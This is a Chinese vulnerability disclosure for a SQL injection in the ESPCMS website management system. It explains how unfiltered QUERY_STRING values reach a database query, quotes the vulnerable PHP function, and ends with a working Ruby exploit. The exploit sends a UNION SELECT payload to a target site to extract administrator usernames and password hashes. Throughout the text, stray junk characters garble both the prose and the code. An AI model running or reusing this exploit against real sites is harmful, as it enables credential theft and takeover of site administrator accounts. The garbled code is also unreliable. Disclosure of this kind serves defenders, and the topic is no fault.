0×0 漏洞概述0×1 漏洞细节
" s( w! z' S8 X2 c% A% U6 W0×2 PoC
* @' t# W; `3 b* f" ` e2 `5 ^/ F2 R6 j$ Y7 Z+ ]2 Z, M
0 r: ^. s6 ?7 Q1 q" Y3 w( \% y, M2 B& b) B0 i5 H
0×0 漏洞概述9 z7 L J$ }7 ?8 ]2 h
5 H9 q3 A5 {$ R易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
) j# j( c0 M; a! W6 I$ H$ L其在处理传入的参数时考虑不严谨导致SQL注入发生
! @/ N$ d- y6 L% C3 X
. x: D8 a! R2 S. R5 ]9 q' h3 K) U. \1 p- D: b5 P
0×1 漏洞细节" G% x; c& c' ^( X$ D8 [- S& x
0 z5 \$ k# l9 c变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。' \5 ?; g/ H7 @$ P2 U3 M
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。" q! A+ H0 }7 p) d3 D
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
% ~: V* {+ N) _: D
m' r1 L; ?( @) v( D. p% b4 V在/interface/3gwap_search.php文件的in_result函数中:3 c" t0 _2 ~. I* c, P4 } {
+ _5 `. H( e% W3 H0 j0 @# l" n; n
! X v5 W8 C* k: @
function in_result() {$ |" j4 x: ]( E/ L
... ... ... ... ... ... ... ... ..., F: n) S6 s1 ?- L B. V3 S
$urlcode = $_SERVER[ 'QUERY_STRING '];
_+ t1 d! z( C) k1 I }/ [/ [ i parse_str(html_entity_decode($urlcode), $output);/ c& e) ^" Q' B6 k4 s* [
' ^- U& q8 J3 U9 l
... ... ... ... ... ... ... ... ..., q6 C9 _# i6 \2 ^: c
if (is_array($output['attr' ]) && count($output['attr']) > 0) {. `# V" @4 h4 w+ Q# Y# c" c
+ l- I. }0 X' U! k% D+ h# [& W
$db_table = db_prefix . 'model_att';" N+ f. ~5 s a7 W7 {8 ?& C
% n/ h, I+ h( T7 a$ e& ~) K. ] foreach ($output['attr' ] as $key => $value) {4 {2 Y" x6 b X# P, n& Y: R8 _
if ($value) {# d$ {- H" J0 w" J
( o9 z) X' O8 E: x
$key = addslashes($key);
- {9 u6 O9 x6 T: v $key = $this-> fun->inputcodetrim($key);% P+ k: R# r, o( `% O; Z) V
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
& ?% z: x- l' u$ ~) I( Y $countnum = $this->db_numrows($db_table, $db_att_where);. U9 e4 ^# z- c* v5 Q4 [
if ($countnum > 0) {
6 ?3 a% ^8 I1 q: m$ P% l% k' {$ U% F $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
: `+ w* [ h8 Q8 ^9 |0 D, _ }
8 [- h: P8 Q8 B! ] }
& T; f( B/ G A5 {, @7 w; R+ {& k }' p- I S2 g8 l( J0 s& k e
}# j& [# _" I8 L" D3 W
if (!empty ($keyword) && empty($keyname)) {
& I4 ]" i0 o: ]% r $keyname = 'title';
( k* d; L/ H$ p, I! W6 Y $db_where.= " AND a.title like '%$keyword%'" ;# |6 B0 C* G# } \9 _% z
} elseif (!empty ($keyword) && !empty($keyname)) {$ d! O3 S; w# O2 o) }" y( W
$db_where.= " AND $keyname like '% $keyword%'";
$ [ j6 R! X1 p }
, }9 d" R3 a) {) E $pagemax = 15;+ U' B* r# u. R% Z% @$ c1 K* a
4 Y' V8 J s0 \5 g; q+ U5 s
$pagesylte = 1;
- o, q6 {. h2 G
4 P' P0 a$ `- w7 H! ^1 @) N8 P) P if ($countnum > 0) {
" W7 c9 L* c0 R9 u0 q. C# v0 r; G+ i+ a0 L/ X
$numpage = ceil($countnum / $pagemax);
; w- @" F( q0 U' P0 ]# S } else {% v/ _; v6 M; ?
$numpage = 1;! _& f: t m% {; c0 P, w- w
}: v* B$ R/ ^- X
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;6 I. _5 v9 n* r) R! x0 r- e3 [
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);7 E+ t& {! E6 q
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
v: Q4 S& y9 t6 |6 u6 G/ R ... ... ... ... ... ... ... ... ...
) V3 o- P9 h: U: l- P8 a }7 S6 b% w3 O( D) t1 r; |$ Z m
# l; D, C' Z+ V3 w* ^* c5 m0 M/ e
( z! N" d" ~. @0×2 PoC
+ U) v3 ^% U4 B% f- I* K
5 t# N6 X! Z7 M# I) i" V1 r9 K: e
* z& i# X, k3 V5 Y3 |require "net/http"% \5 _, U. ?$ ?. N# W, w
0 e5 |# g5 x: r
def request(method, url)/ A& O; f$ V1 t
if method.eql?("get")1 O ^! w1 g( Z8 A
uri = URI.parse(url)4 H4 K5 n/ o4 J- g& |" Z9 a
http = Net::HTTP.new(uri.host, uri.port)
4 w! }: ^9 ]8 {5 W, m+ k- _* g response = http.request(Net::HTTP::Get.new(uri.request_uri))
~' q/ E1 _, l- I& e0 v return response7 K1 q3 e8 d9 b9 F/ R r$ p( o
end+ F3 @% e3 F' N3 M8 R- H
end# G9 {: V- G% H' I$ |9 F
% }5 J: ~% n# g3 V* G) Jdoc =<<HERE; t# S5 h1 E% S: s/ Q5 Y
-------------------------------------------------------
X2 `5 }7 m# CEspcms Injection Exploit
8 I$ b( ?6 f1 H' L. JAuthor:ztz( {2 W* [2 C. R! o( G- t
Blog:http://ztz.fuzzexp.org/
- o8 ~. h+ C* l+ g# S+ x5 u-------------------------------------------------------" L, g2 ?/ k% t; x
: R; G) j$ {: j4 y3 n( e
HERE* I$ B. M) D* M" ?
: g. P& ^/ w# z6 o2 v/ C+ ^usage =<<HERE( V+ I4 V [( v3 i+ N6 o
Usage: ruby #{$0} host port path
' O% y4 K% {- s, R, s3 W$ lexample: ruby #{$0} www.target.com 80 /. R, F; U1 ^" I8 c- w
HERE5 a# I2 f; E$ W
( G7 ]3 X; a# Xputs doc& |% _+ x; T' |" | [0 P$ \& o) _
if ARGV.length < 3- ]+ k. w% V/ {! ]. d
puts usage
6 x0 {, m B3 ~% h7 o- melse! M5 B8 y$ j8 L) P+ s6 h( i
$host = ARGV[0]1 P7 i8 X9 O/ S `
$port = ARGV[1]
% }2 @; e2 K A0 _: y# O& S0 q $path = ARGV[2]
2 E g0 G; Z3 Z m+ T( ]/ ?1 l) d% H) L" Q! N3 F8 U
puts "send request..."& U# _0 P: |' v, y; z5 E8 Q0 _( e
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
9 c4 H1 G6 F3 G% N# j8 Vattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,134 g+ J& o1 \" j4 j8 t
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27& \7 @7 M5 M1 ^* k% I$ {. U' I: L
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
$ f+ ^1 M# o+ q8 H" g response = request("get", url)
, ~ m# M" E& N8 I- ? result = response.body.scan(/\w+&\w{32}/)
5 m& R3 h" j# A& [; N puts result5 p9 T) c) F" W5 I% O9 T
end* E: S1 @$ e u# ]
/ j5 R8 l5 o# l4 J |